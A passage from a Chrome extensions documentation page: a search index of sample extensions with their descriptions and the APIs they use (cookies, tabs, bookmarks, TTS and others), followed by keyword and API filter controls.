"0bf0930a32829dfb77170535ecb27adc2de3998a": "BLOCK/ALLOW REFERRER API EXAMPLE EXTENSION SAMPLE EXTENSION WHICH DEMONSTRATES HOW TO ACCESS A PREFERENCE. BROWSER_ACTION PRIVACY CHROME.EXTENSION.ISALLOWEDINCOGNITOACCESS",
"7da105f28e200d42510aff3591dfa5aeb0b82605": "BLOCK/ALLOW THIRD-PARTY COOKIES API EXAMPLE EXTENSION SAMPLE EXTENSION WHICH DEMONSTRATES HOW TO ACCESS A PREFERENCE. BROWSER_ACTION PRIVACY CHROME.EXTENSION.ISALLOWEDINCOGNITOACCESS",
"9004d1a1b975859d07bdff94ea0a4baa106c4fd1": "BROKEN LINKS EXTENDS THE DEVELOPER TOOLS, ADDING AN AUDIT CATEGORY THAT FINDS BROKEN LINKS ON THE INSPECTED PAGE. BACKGROUND_PAGE DEVTOOLS_PAGE EXPERIMENTAL TABS CHROME.EXPERIMENTAL.DEVTOOLS.AUDITS.ADDCATEGORY CHROME.TABS.EXECUTESCRIPT",
"e7e4284e3b5484b0c1eae7f724768945ad0121e4": "BROWSINGDATA API: BASICS A TRIVIAL USAGE EXAMPLE. BROWSER_ACTION BROWSINGDATA POPUP CHROME.BROWSINGDATA.REMOVE",
"7f4d3fac7ae1ad4d514a15cd0b2c48c57a58c55e": "CATBLOCK I CANT HAS CHEEZBURGER! BACKGROUND_PAGE WEBREQUEST WEBREQUESTBLOCKING CHROME.WEBREQUEST.ONBEFOREREQUEST",
"924f75a201bb0ec8d6c0b1c9c88c679ea211c93d": "CHROME QUERY EXTENDS THE DEVELOPER TOOLS, ADDING A SIDEBAR THAT DISPLAYS THE JQUERY DATA ASSOCIATED WITH THE SELECTED DOM ELEMENT. DEVTOOLS_PAGE",
"903e7277139e1e6caec123d3319cab295d8d1b3a": "CHROME SOUNDS ENJOY A MORE MAGICAL AND IMMERSIVE EXPERIENCE WHEN BROWSING THE WEB USING THE POWER OF SOUND. BACKGROUND_PAGE BOOKMARKS OPTIONS_PAGE TABS CHROME.BOOKMARKS.ONCREATED CHROME.BOOKMARKS.ONMOVED CHROME.BOOKMARKS.ONREMOVED CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.TABS.GET CHROME.TABS.ONATTACHED CHROME.TABS.ONCREATED CHROME.TABS.ONDETACHED CHROME.TABS.ONMOVED CHROME.TABS.ONREMOVED CHROME.TABS.ONUPDATED CHROME.WINDOWS.ONCREATED CHROME.WINDOWS.ONFOCUSCHANGED CHROME.WINDOWS.ONREMOVED",
"0e790e035a4a00b6f1def5ef9a7d7be1bce95ab5": "CHROMIUM BUILDBOT MONITOR DISPLAYS THE STATUS OF THE CHROMIUM BUILDBOT IN THE TOOLBAR. CLICK TO SEE MORE DETAILED STATUS IN A POPUP. BACKGROUND_PAGE BROWSER_ACTION NOTIFICATIONS OPTIONS_PAGE CHROME.BROWSERACTION.SETBADGEBACKGROUNDCOLOR CHROME.BROWSERACTION.SETBADGETEXT CHROME.BROWSERACTION.SETTITLE CHROME.EXTENSION.GETURL",
"ac31228200b41a87982e386cc90d3a6eee4ad885": "CHROMIUM SEARCH ADD SUPPORT TO THE OMNIBOX TO SEARCH THE CHROMIUM SOURCE CODE. BACKGROUND_PAGE TABS CHROME.OMNIBOX.ONINPUTCANCELLED CHROME.OMNIBOX.ONINPUTCHANGED CHROME.OMNIBOX.ONINPUTENTERED CHROME.OMNIBOX.ONINPUTSTARTED CHROME.OMNIBOX.SETDEFAULTSUGGESTION CHROME.TABS.GET CHROME.TABS.UPDATE",
"7d5d6cf195bc25480256618e360aa38c6e6fba82": "CLD DISPLAYS THE LANGUAGE OF A TAB BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.SETBADGETEXT CHROME.TABS.DETECTLANGUAGE CHROME.TABS.GET CHROME.TABS.ONUPDATED",
"1a146c028f79982bdc28497ab263dd2f263aa735": "CONSOLE TTS ENGINE A SILENT TTS ENGINE THAT PRINTS TEXT TO A SMALL WINDOW RATHER THAN SYNTHESIZING SPEECH. BACKGROUND_PAGE TABS TTSENGINE CHROME.EXTENSION.GETVIEWS CHROME.TTSENGINE.ONSPEAK CHROME.TTSENGINE.ONSTOP CHROME.WINDOWS.CREATE CHROME.WINDOWS.GET CHROME.WINDOWS.GETCURRENT CHROME.WINDOWS.ONREMOVED",
"6871d09f4a96bf9d4b6cc724d00e909cee0f3902": "CONTENT SCRIPT CROSS-DOMAIN XMLHTTPREQUEST EXAMPLE DEMONSTRATES MAKING CROSS DOMAIN REQUESTS FROM A CONTENT SCRIPT BY PUTTING TWITTER TRENDS ON GOOGLE NEWS.",
"e1f97e61e28ff33131d66dd28a4ed70a77874a51": "CONTENT SETTINGS SHOWS THE CONTENT SETTINGS FOR THE CURRENT SITE. BROWSER_ACTION CONTENTSETTINGS TABS CHROME.TABS.GET",
"5d81304a17cf7ac2887484f730fbd2b01e51e166": "CONTEXT MENUS SAMPLE SHOWS SOME OF THE FEATURES OF THE CONTEXT MENUS API BACKGROUND_PAGE CONTEXTMENUS CHROME.CONTEXTMENUS.CREATE",
"82fdc54d98adc279e8bbb7be60fff477cd1294a5": "CONTEXT MENUS SAMPLE (WITH EVENT PAGE) SHOWS SOME OF THE FEATURES OF THE CONTEXT MENUS API USING AN EVENT PAGE BACKGROUND_PAGE CONTEXTMENUS CHROME.CONTEXTMENUS.CREATE CHROME.CONTEXTMENUS.ONCLICKED CHROME.RUNTIME.ONINSTALLED",
"4daa6becd0899a54776d9cf7f09613ed1a9f4d77": "COOKIE API TEST EXTENSION TESTING COOKIE API BACKGROUND_PAGE BROWSER_ACTION COOKIES TABS CHROME.BROWSERACTION.ONCLICKED CHROME.COOKIES.GET CHROME.COOKIES.GETALL CHROME.COOKIES.ONCHANGED CHROME.COOKIES.REMOVE CHROME.EXTENSION.GETURL CHROME.TABS.CREATE CHROME.TABS.UPDATE CHROME.WINDOWS.GET CHROME.WINDOWS.GETALL",
"9e4fd06300ee2b3a171e1f30d1b70f8f10152c2b": "DOWNLOAD SELECTED LINKS SELECT LINKS ON A PAGE AND DOWNLOAD THEM. BROWSER_ACTION EXPERIMENTAL TABS CHROME.DOWNLOADS.DOWNLOAD CHROME.TABS.EXECUTESCRIPT CHROME.TABS.QUERY CHROME.WINDOWS.GET CHROME.WINDOWS.GETCURRENT",
"028eb5364924344029bcbe1d527f132fc72b34e5": "EMAIL THIS PAGE (BY GOOGLE) THIS EXTENSION ADDS AN EMAIL BUTTON TO THE TOOLBAR WHICH ALLOWS YOU TO EMAIL THE PAGE LINK USING YOUR DEFAULT MAIL CLIENT OR GMAIL. BACKGROUND_PAGE BROWSER_ACTION OPTIONS_PAGE TABS CHROME.BROWSERACTION.ONCLICKED CHROME.EXTENSION.CONNECT CHROME.EXTENSION.ONCONNECT CHROME.TABS.CREATE CHROME.TABS.EXECUTESCRIPT CHROME.TABS.UPDATE",
"26115f23aef245d6757587e3e517bbe4b3bc55fe": "EVENT PAGE EXAMPLE DEMONSTRATES USAGE AND FEATURES OF THE EVENT PAGE ALARMS BACKGROUND_PAGE BOOKMARKS BROWSER_ACTION EXPERIMENTAL KEYBINDING TABS CHROME.ALARMS.CREATE CHROME.ALARMS.ONALARM CHROME.BOOKMARKS.ONREMOVED CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETBADGETEXT CHROME.DECLARATIVEWEBREQUEST.ONREQUEST CHROME.EXPERIMENTAL.KEYBINDING.ONCOMMAND CHROME.EXTENSION.ONMESSAGE CHROME.EXTENSION.SENDMESSAGE CHROME.RUNTIME.ONINSTALLED CHROME.RUNTIME.ONSUSPEND CHROME.TABS.CREATE CHROME.TABS.EXECUTESCRIPT CHROME.TABS.QUERY CHROME.TABS.SENDMESSAGE",
"763a08e9b06595d785568a8d392b95a2f3700258": "EVENT TRACKING WITH GOOGLE ANALYTICS A SAMPLE EXTENSION WHICH USES GOOGLE ANALYTICS TO TRACK USAGE. BROWSER_ACTION",
"4efa12eaaa442b6b7c880e7a38ceeb0cff7e8b77": "FIREPHP FOR CHROME EXTENDS THE DEVELOPER TOOLS, ADDING SUPPORT FOR PARSING FIREPHP MESSAGES FROM SERVER BACKGROUND_PAGE DEVTOOLS_PAGE TABS CHROME.DEVTOOLS.NETWORK.GETHAR CHROME.DEVTOOLS.NETWORK.ONREQUESTFINISHED CHROME.TABS.EXECUTESCRIPT",
"31d10fd5e61ca51eb59073b358d4ab5267cbf318": "FONT SETTINGS SAMPLE EXTENSION FOR FONT SETTINGS API BROWSER_ACTION FONTSETTINGS POPUP CHROME.FONTSETTINGS.CLEARDEFAULTFIXEDFONTSIZE CHROME.FONTSETTINGS.CLEARDEFAULTFONTSIZE CHROME.FONTSETTINGS.CLEARFONT CHROME.FONTSETTINGS.CLEARMINIMUMFONTSIZE CHROME.FONTSETTINGS.GETDEFAULTFIXEDFONTSIZE CHROME.FONTSETTINGS.GETDEFAULTFONTSIZE CHROME.FONTSETTINGS.GETFONT CHROME.FONTSETTINGS.GETFONTLIST CHROME.FONTSETTINGS.GETMINIMUMFONTSIZE CHROME.FONTSETTINGS.ONDEFAULTFIXEDFONTSIZECHANGED CHROME.FONTSETTINGS.ONDEFAULTFONTSIZECHANGED CHROME.FONTSETTINGS.ONFONTCHANGED CHROME.FONTSETTINGS.ONMINIMUMFONTSIZECHANGED CHROME.FONTSETTINGS.SETDEFAULTFIXEDFONTSIZE CHROME.FONTSETTINGS.SETDEFAULTFONTSIZE CHROME.FONTSETTINGS.SETFONT CHROME.FONTSETTINGS.SETMINIMUMFONTSIZE",
"8b0dd31216235941bdd8eb33fda915ef5cf79a82": "GOOGLE CALENDAR CHECKER (BY GOOGLE) QUICKLY SEE THE TIME UNTIL YOUR NEXT MEETING FROM ANY OF YOUR CALENDARS. CLICK ON THE BUTTON TO BE TAKEN TO YOUR CALENDAR. BACKGROUND_PAGE BROWSER_ACTION OPTIONS_PAGE TABS CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETBADGEBACKGROUNDCOLOR CHROME.BROWSERACTION.SETBADGETEXT CHROME.BROWSERACTION.SETICON CHROME.BROWSERACTION.SETTITLE CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.I18N.GETMESSAGE CHROME.TABS.CREATE CHROME.TABS.GET CHROME.TABS.ONUPDATED CHROME.TABS.UPDATE",
"4e35caa9742fb82dbd628892d23a781614f6eff6": "GOOGLE DOCUMENT LIST VIEWER DEMONSTRATES HOW TO USE OAUTH TO CONNECT THE GOOGLE DOCUMENTS LIST DATA API. BACKGROUND_PAGE BROWSER_ACTION OPTIONS_PAGE TABS CHROME.BROWSERACTION.SETBADGETEXT CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.EXTENSION.GETURL CHROME.TABS.CREATE CHROME.TABS.GET CHROME.TABS.ONUPDATED CHROME.TABS.REMOVE",
"bb57f7a0132cbeb36ad7e7bb0ab75c21704234ca": "GOOGLE MAIL CHECKER DISPLAYS THE NUMBER OF UNREAD MESSAGES IN YOUR GOOGLE MAIL INBOX. YOU CAN ALSO CLICK THE BUTTON TO OPEN YOUR INBOX. ALARMS BACKGROUND_PAGE BROWSER_ACTION OPTIONS_PAGE TABS CHROME.ALARMS.CREATE CHROME.ALARMS.ONALARM CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETBADGEBACKGROUNDCOLOR CHROME.BROWSERACTION.SETBADGETEXT CHROME.BROWSERACTION.SETICON CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.I18N.GETMESSAGE CHROME.TABS.CREATE CHROME.TABS.GET CHROME.TABS.ONUPDATED CHROME.TABS.UPDATE",
"14b9651fda4e57b2a5914ba73a779812201b750a": "HELLO WORLD THE FIRST EXTENSION THAT I MADE. BROWSER_ACTION",
"2020d72f2577f53caf8e94e3dbac0fb849ceaa4d": "IDLE - SIMPLE EXAMPLE DEMONSTRATES THE IDLE API BACKGROUND_PAGE BROWSER_ACTION IDLE CHROME.BROWSERACTION.ONCLICKED CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.IDLE.ONSTATECHANGED CHROME.IDLE.QUERYSTATE",
"0ea1588bd07b20338fc21f725de1542a5fdf9726": "IGOOGLE NEW TAB PAGE CHROME_URL_OVERRIDES",
"646325c25f572a1d15edc73d057f821d847a4fbe": "IMAGEINFO GET IMAGE INFO FOR IMAGES, INCLUDING EXIF DATA BACKGROUND_PAGE CONTEXTMENUS TABS CHROME.CONTEXTMENUS.CREATE CHROME.TABS.GET CHROME.TABS.GETCURRENT CHROME.WINDOWS.CREATE CHROME.WINDOWS.UPDATE",
"8f52a8a59c6fc16cb0d1ed0680b7f005be033d58": "JAVASCRIPT PAUSE/RESUME PAUSES / RESUMES JAVASCRIPT EXECUTION BACKGROUND_PAGE BROWSER_ACTION DEBUGGER TABS CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETICON CHROME.BROWSERACTION.SETTITLE CHROME.DEBUGGER.ATTACH CHROME.DEBUGGER.DETACH CHROME.DEBUGGER.ONDETACH CHROME.DEBUGGER.ONEVENT CHROME.DEBUGGER.SENDCOMMAND CHROME.TABS.GET CHROME.WINDOWS.GET CHROME.WINDOWS.GETCURRENT",
"65b2fe595b7ac38dddd89cca50f5efd0017b0bd4": "KEYBOARD PIN CREATES A KEYBOARD SHORTCUT (C + SHIFT + P) TO TOGGLE THE PINNED STATE OF THE CURRENTLY SELECTED TAB BACKGROUND_PAGE TABS CHROME.TABS.GET CHROME.TABS.UPDATE",
"cc8563a6666add797264184a960c7b7c8bd3e64d": "LIVE HTTP HEADERS DISPLAYS THE LIVE LOG WITH THE HTTP REQUESTS HEADERS BACKGROUND_PAGE BROWSER_ACTION DEBUGGER TABS CHROME.BROWSERACTION.ONCLICKED CHROME.DEBUGGER.ATTACH CHROME.DEBUGGER.DETACH CHROME.DEBUGGER.ONEVENT CHROME.DEBUGGER.SENDCOMMAND CHROME.TABS.GET CHROME.WINDOWS.CREATE CHROME.WINDOWS.GET CHROME.WINDOWS.GETCURRENT",
"ec97ec20ca2f095d081e39f1565fc12af09ef067": "MAPPY FINDS ADDRESSES IN THE WEB PAGE YOURE ON AND POPS UP A MAP WINDOW. BACKGROUND_PAGE PAGE_ACTION TABS CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.PAGEACTION.HIDE CHROME.PAGEACTION.SETTITLE CHROME.PAGEACTION.SHOW CHROME.TABS.GET CHROME.TABS.ONUPDATED",
"b2f5f8a790e16f091a7e4e0a39b2d0a6d32e3a6d": "MERGE WINDOWS MERGES ALL OF THE BROWSERS WINDOWS INTO THE CURRENT WINDOW BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.ONCLICKED CHROME.TABS.GET CHROME.TABS.MOVE CHROME.WINDOWS.GET CHROME.WINDOWS.GETALL CHROME.WINDOWS.GETCURRENT",
"51a83d2ba3a32e3ff1bdb624d4e18ccec4c4038e": "MESSAGE TIMER TIMES HOW LONG IT TAKES TO SEND A MESSAGE TO A CONTENT SCRIPT AND BACK. BROWSER_ACTION TABS CHROME.EXTENSION.ONCONNECT CHROME.TABS.CONNECT CHROME.TABS.GET",
"4f6785ec4f937add6728615682dd37c9a42d9548": "MY BOOKMARKS A BROWSER ACTION WITH A POPUP DUMP OF ALL BOOKMARKS, INCLUDING SEARCH, ADD, EDIT AND DELETE. BOOKMARKS BROWSER_ACTION TABS CHROME.BOOKMARKS.CREATE CHROME.BOOKMARKS.GET CHROME.BOOKMARKS.GETTREE CHROME.BOOKMARKS.REMOVE CHROME.BOOKMARKS.UPDATE CHROME.TABS.CREATE",
"597015d3bcce3da693b02314afd607bec4f55291": "NEWS READER DISPLAYS THE FIRST 5 ITEMS FROM THE GOOGLE NEWS - TOP NEWS RSS FEED IN A POPUP. BROWSER_ACTION TABS CHROME.TABS.CREATE",
"6444e5c8ae112a6a433909c5e770669cd16e2e5f": "NEWS READER DISPLAYS THE FIRST 5 ITEMS FROM THE GOOGLE NEWS - TOP NEWS RSS FEED IN A POPUP. BROWSER_ACTION TABS CHROME.I18N.GETMESSAGE CHROME.TABS.CREATE",
"3aea027164cb9b732ba4a8c51cb93708891726ef": "NEWS READER (BY GOOGLE) DISPLAYS THE LATEST STORIES FROM GOOGLE NEWS IN A POPUP. BACKGROUND_PAGE BROWSER_ACTION OPTIONS_PAGE TABS CHROME.EXTENSION.GETURL CHROME.I18N.GETMESSAGE CHROME.TABS.CREATE",
"f799e26ceef2367cf836f24bcb47df4398b0df58": "NOTIFICATION DEMO SHOWS OFF DESKTOP NOTIFICATIONS, WHICH ARE TOAST WINDOWS THAT POP UP ON THE DESKTOP. BACKGROUND_PAGE NOTIFICATIONS OPTIONS_PAGE TABS",
"2df34c9db20549bd52f2dec3d59d564853bdefac": "NTP PROTOTYPING EXTENSION EXTENSION TO PROTOTYPE NEW NTP DESIGNS CHROME_URL_OVERRIDES TOPSITES CHROME.TOPSITES.GET",
"e787b322bddbc6289bb31b7d7550b1bf6456a80b": "OMNIBOX EXAMPLE TO USE, TYPE OMNIX PLUS A SEARCH TERM INTO THE OMNIBOX. BACKGROUND_PAGE CHROME.OMNIBOX.ONINPUTCHANGED CHROME.OMNIBOX.ONINPUTENTERED",
"8d0a50b57c26bb498be592e871001ffed91541b4": "PAGE ACTION BY CONTENT SHOWS A PAGE ACTION FOR HTML PAGES CONTAINING THE WORD SANDWICH BACKGROUND_PAGE PAGE_ACTION CHROME.PAGEACTION.SHOW",
"80b86ccc6e8520660fa591caa565826f0ed1b12c": "PAGE ACTION BY URL SHOWS A PAGE ACTION FOR URLS WHICH HAVE THE LETTER G IN THEM. BACKGROUND_PAGE PAGE_ACTION TABS CHROME.PAGEACTION.SHOW CHROME.TABS.ONUPDATED",
"d74c3c18a1c1dd18b035149105a306f837c8823e": "PAGE BENCHMARKER CHROMIUM PAGE BENCHMARKER. BACKGROUND_PAGE BROWSER_ACTION OPTIONS_PAGE TABS CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETBADGEBACKGROUNDCOLOR CHROME.BROWSERACTION.SETBADGETEXT CHROME.BROWSERACTION.SETTITLE CHROME.EXTENSION.CONNECT CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.EXTENSION.GETURL CHROME.EXTENSION.ONCONNECT CHROME.TABS.CREATE CHROME.TABS.EXECUTESCRIPT CHROME.TABS.GET CHROME.TABS.REMOVE CHROME.TABS.UPDATE CHROME.WINDOWS.GET CHROME.WINDOWS.GETCURRENT",
"579b7b1b54553eb5f2e8e7d2bf21bd61c855952e": "PAGE CYCLER PAGE CYCLER UI EXPERIMENTAL CHROME.EXPERIMENTAL.RECORD.CAPTUREURLS CHROME.EXPERIMENTAL.RECORD.REPLAYURLS",
"ab4b9e00a673701b355db9eb8f9ebf2c850cd784": "PER-PLUGIN CONTENT SETTINGS CUSTOMIZE YOUR CONTENT SETTING FOR DIFFERENT PLUG-INS. CONTENTSETTINGS OPTIONS_PAGE CHROME.I18N.GETMESSAGE",
"e6ae17ab4ccfd7e059c8c01f25760ca5d894c7fd": "PRINT THIS PAGE ADDS A PRINT BUTTON TO THE BROWSER. BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.ONCLICKED CHROME.TABS.UPDATE",
"beff6ecd9677dea0a7c648c5042165b48bb66f09": "PROCESS MONITOR ADDS A BROWSER ACTION THAT MONITORS RESOURCE USAGE OF ALL BROWSER PROCESSES. BROWSER_ACTION EXPERIMENTAL TABS CHROME.EXPERIMENTAL.PROCESSES.ONUPDATED CHROME.EXPERIMENTAL.PROCESSES.ONUPDATEDWITHMEMORY CHROME.EXPERIMENTAL.PROCESSES.TERMINATE",
"3e8e226d87e431296bb110b4f6eb7eec2ca7a826": "PROXY EXTENSION API SAMPLE SET CHROME-SPECIFIC PROXIES; A DEMONSTRATION OF CHROMES PROXY API BACKGROUND_PAGE BROWSER_ACTION PROXY CHROME.BROWSERACTION.SETBADGEBACKGROUNDCOLOR CHROME.BROWSERACTION.SETBADGETEXT CHROME.BROWSERACTION.SETTITLE CHROME.EXTENSION.ISALLOWEDINCOGNITOACCESS CHROME.I18N.GETMESSAGE CHROME.PROXY.ONPROXYERROR",
"56a8d2ac24ca7bba78fd88ad57f43fc13c784497": "SAMPLE - OAUTH CONTACTS USES OAUTH TO CONNECT TO GOOGLES CONTACTS SERVICE AND DISPLAY A LIST OF YOUR CONTACTS. BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETICON CHROME.EXTENSION.GETBACKGROUNDPAGE CHROME.EXTENSION.GETURL CHROME.TABS.CREATE CHROME.TABS.GET CHROME.TABS.ONUPDATED CHROME.TABS.REMOVE",
"38f6e1e17756ede38b1364c7114a738ca717dcbb": "SANDWICHBAR SHOWS AN INFOBAR ON PAGES WHICH CONTAIN THE WORD SANDWICH BACKGROUND_PAGE EXPERIMENTAL CHROME.EXPERIMENTAL.INFOBARS.SHOW",
"fc89b35755483af30b66cd72cefa34a43a3e8312": "SHOW TABS IN PROCESS ADDS A BROWSER ACTION SHOWING WHICH TABS SHARE THE CURRENT TABS PROCESS. BROWSER_ACTION EXPERIMENTAL TABS CHROME.EXPERIMENTAL.PROCESSES.GETPROCESSIDFORTAB CHROME.TABS.GET CHROME.TABS.UPDATE CHROME.WINDOWS.GET CHROME.WINDOWS.GETALL CHROME.WINDOWS.GETCURRENT CHROME.WINDOWS.UPDATE",
"a491a2faa1fe79cb49b2fe9ed2720f4723c14184": "SPEAK SELECTION SPEAKS THE CURRENT SELECTION OUT LOUD. <ALL_URLS> BACKGROUND_PAGE BROWSER_ACTION OPTIONS_PAGE TABS TTS CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETICON CHROME.EXTENSION.GETURL CHROME.TABS.CREATE CHROME.TABS.EXECUTESCRIPT CHROME.TTS.GETVOICES CHROME.TTS.SPEAK CHROME.TTS.STOP CHROME.WINDOWS.GET CHROME.WINDOWS.GETALL",
"a942b7626644674b7a56678930d054497b244ee7": "SPEECH RECOGNIZER RECOGNIZES YOUR SPEECH AND TELLS YOU THE MOST LIKELY RESULT. BACKGROUND_PAGE BROWSER_ACTION EXPERIMENTAL CHROME.BROWSERACTION.ONCLICKED CHROME.BROWSERACTION.SETICON CHROME.EXPERIMENTAL.SPEECHINPUT.ISRECORDING CHROME.EXPERIMENTAL.SPEECHINPUT.ONERROR CHROME.EXPERIMENTAL.SPEECHINPUT.ONRESULT CHROME.EXPERIMENTAL.SPEECHINPUT.START CHROME.EXPERIMENTAL.SPEECHINPUT.STOP",
"24452253a5f1a93c2e8d63e55042005f8bc33606": "STYLIZR SPRUCE UP YOUR PAGES WITH CUSTOM CSS. <ALL_URLS> BROWSER_ACTION OPTIONS_PAGE STORAGE TABS CHROME.EXTENSION.GETURL CHROME.TABS.INSERTCSS",
"230463f2d5c3d4d0ca13c230e1f00f2aae0a8a64": "TAB INSPECTOR UTILITY FOR WORKING WITH THE EXTENSION TABS API BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.ONCLICKED CHROME.EXTENSION.GETURL CHROME.TABS.CREATE CHROME.TABS.GET CHROME.TABS.MOVE CHROME.TABS.ONATTACHED CHROME.TABS.ONCREATED CHROME.TABS.ONDETACHED CHROME.TABS.ONMOVED CHROME.TABS.ONREMOVED CHROME.TABS.ONUPDATED CHROME.TABS.REMOVE CHROME.TABS.UPDATE CHROME.WINDOWS.CREATE CHROME.WINDOWS.GET CHROME.WINDOWS.GETALL CHROME.WINDOWS.GETCURRENT CHROME.WINDOWS.GETLASTFOCUSED CHROME.WINDOWS.ONCREATED CHROME.WINDOWS.ONFOCUSCHANGED CHROME.WINDOWS.ONREMOVED CHROME.WINDOWS.REMOVE CHROME.WINDOWS.UPDATE",
"04f5d2ddea95746b0200be1ea223ccb7a748a771": "TALKING ALARM CLOCK A CLOCK WITH TWO CONFIGURABLE ALARMS THAT WILL PLAY A SOUND AND SPEAK A PHRASE OF YOUR CHOICE. BACKGROUND BACKGROUND_PAGE BROWSER_ACTION TTS CHROME.BROWSERACTION.SETICON CHROME.EXTENSION.CONNECT CHROME.EXTENSION.ONCONNECT CHROME.TTS.GETVOICES CHROME.TTS.SPEAK CHROME.TTS.STOP",
"e1697cacebad05218798bf3e8a0f724517f0e8c3": "TEST SCREENSHOT EXTENSION DEMONSTRATE SCREENSHOT FUNCTIONALITY IN THE CHROME.TABS API. NOTE: ONLY WORKS FOR CODE.GOOGLE.COM BACKGROUND_PAGE BROWSER_ACTION TABS CHROME.BROWSERACTION.ONCLICKED CHROME.EXTENSION.GETURL CHROME.EXTENSION.GETVIEWS CHROME.TABS.CAPTUREVISIBLETAB CHROME.TABS.CREATE CHROME.TABS.ONUPDATED",
"e8ac89b4015052cf11436985399129c927f972aa": "TOP CHROME EXTENSION QUESTIONS SAMPLE DEMONSTRATION OF THE OPTIONAL PERMISSIONS API. BROWSER_ACTION EXPERIMENTAL OPTIONS_PAGE CHROME.PERMISSIONS.CONTAINS CHROME.PERMISSIONS.ONADDED CHROME.PERMISSIONS.ONREMOVED CHROME.PERMISSIONS.REMOVE CHROME.PERMISSIONS.REQUEST CHROME.TABS.CREATE",
"1d192cce77438e1a90383a6a3a6b28f29961ffa4": "TTS DEBUG TOOL FOR DEVELOPERS OF CHROME TTS ENGINE EXTENSIONS TO HELP THEM TEST THEIR ENGINES ARE IMPLEMENTING THE API CORRECTLY. TTS CHROME.TTS.GETVOICES CHROME.TTS.SPEAK CHROME.TTS.STOP",
"3a1baf15462bdae4d886c2da4ff8f35f4e8ce02f": "TTS DEMO DEMO CHROMES SYNTHESIZED TEXT-TO-SPEECH CAPABILITIES. TTS CHROME.TTS.GETVOICES CHROME.TTS.ISSPEAKING CHROME.TTS.SPEAK CHROME.TTS.STOP",
"b3de91ab04b7d7a2670ca7ee9d740eb42cead0b6": "TYPED URL HISTORY READS YOUR HISTORY, AND SHOWS THE TOP TEN PAGES YOU GO TO BY TYPING THE URL. BROWSER_ACTION HISTORY TABS CHROME.HISTORY.GETVISITS CHROME.HISTORY.SEARCH CHROME.TABS.CREATE",
"a3c674f7eb93621c590562ad3fa04de4f03f53a0": "WEBNAVIGATION TECH DEMO DEMONSTRATION OF THE WEBNAVIGATION EXTENSION API. BACKGROUND_PAGE BROWSER_ACTION WEBNAVIGATION CHROME.I18N.GETMESSAGE CHROME.WEBNAVIGATION.ONBEFORENAVIGATE CHROME.WEBNAVIGATION.ONCOMMITTED CHROME.WEBNAVIGATION.ONCOMPLETED CHROME.WEBNAVIGATION.ONCREATEDNAVIGATIONTARGET CHROME.WEBNAVIGATION.ONERROROCCURRED CHROME.WEBNAVIGATION.ONHISTORYSTATEUPDATED CHROME.WEBNAVIGATION.ONREFERENCEFRAGMENTUPDATED",
"0fa4abe6545f0316fea7cfa07c53aa48c4f3d018": "`EXTENSION.ISALLOWEDFILESCHEMEACCESS` AND `EXTENSION.ISALLOWEDINCOGNITOACCESS` EXAMPLE DEMONSTRATES THE `EXTENSION.ISALLOWEDFILESCHEMEACCESS` AND `EXTESION.ISALLOWEDINCOGNITOACCESS` APIS BROWSER_ACTION CHROME.EXTENSION.ISALLOWEDFILESCHEMEACCESS CHROME.EXTENSION.ISALLOWEDINCOGNITOACCESS"
};
</script>
<script src="../js/sample_search.js"></script>
<div id="controls">
<div id="searchbox" class="controlbox">
<strong>Filter by keyword:</strong>
<input autofocus="" type="search" id="searchinput" placeholder="Type to search" onkeyup="filterSamples();">
</div>
<div id="filterbox" class="controlbox">
<strong>Filter by API:</strong>
<span>
<span>
<a href="javascript:void(0);" onclick="setFilter('chrome.alarms', this)">chrome.alarms</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.app.window', this)">chrome.app.window</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.bookmarks', this)">chrome.bookmarks</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.browserAction', this)">chrome.browserAction</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.browsingData', this)">chrome.browsingData</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.contentSettings', this)">chrome.contentSettings</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.contextMenus', this)">chrome.contextMenus</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.cookies', this)">chrome.cookies</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.debugger', this)">chrome.debugger</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.declarativeWebRequest', this)">chrome.declarativeWebRequest</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.downloads', this)">chrome.downloads</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.events', this)">chrome.events</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.experimental', this)">chrome.experimental</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.extension', this)">chrome.extension</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.fileBrowserHandler', this)">chrome.fileBrowserHandler</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.fileSystem', this)">chrome.fileSystem</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.fontSettings', this)">chrome.fontSettings</a><span>, </span>
</span><span>
<a href="javascript:void(0);" onclick="setFilter('chrome.history', this)">chrome.history</a><span>, </span>
</span><span>
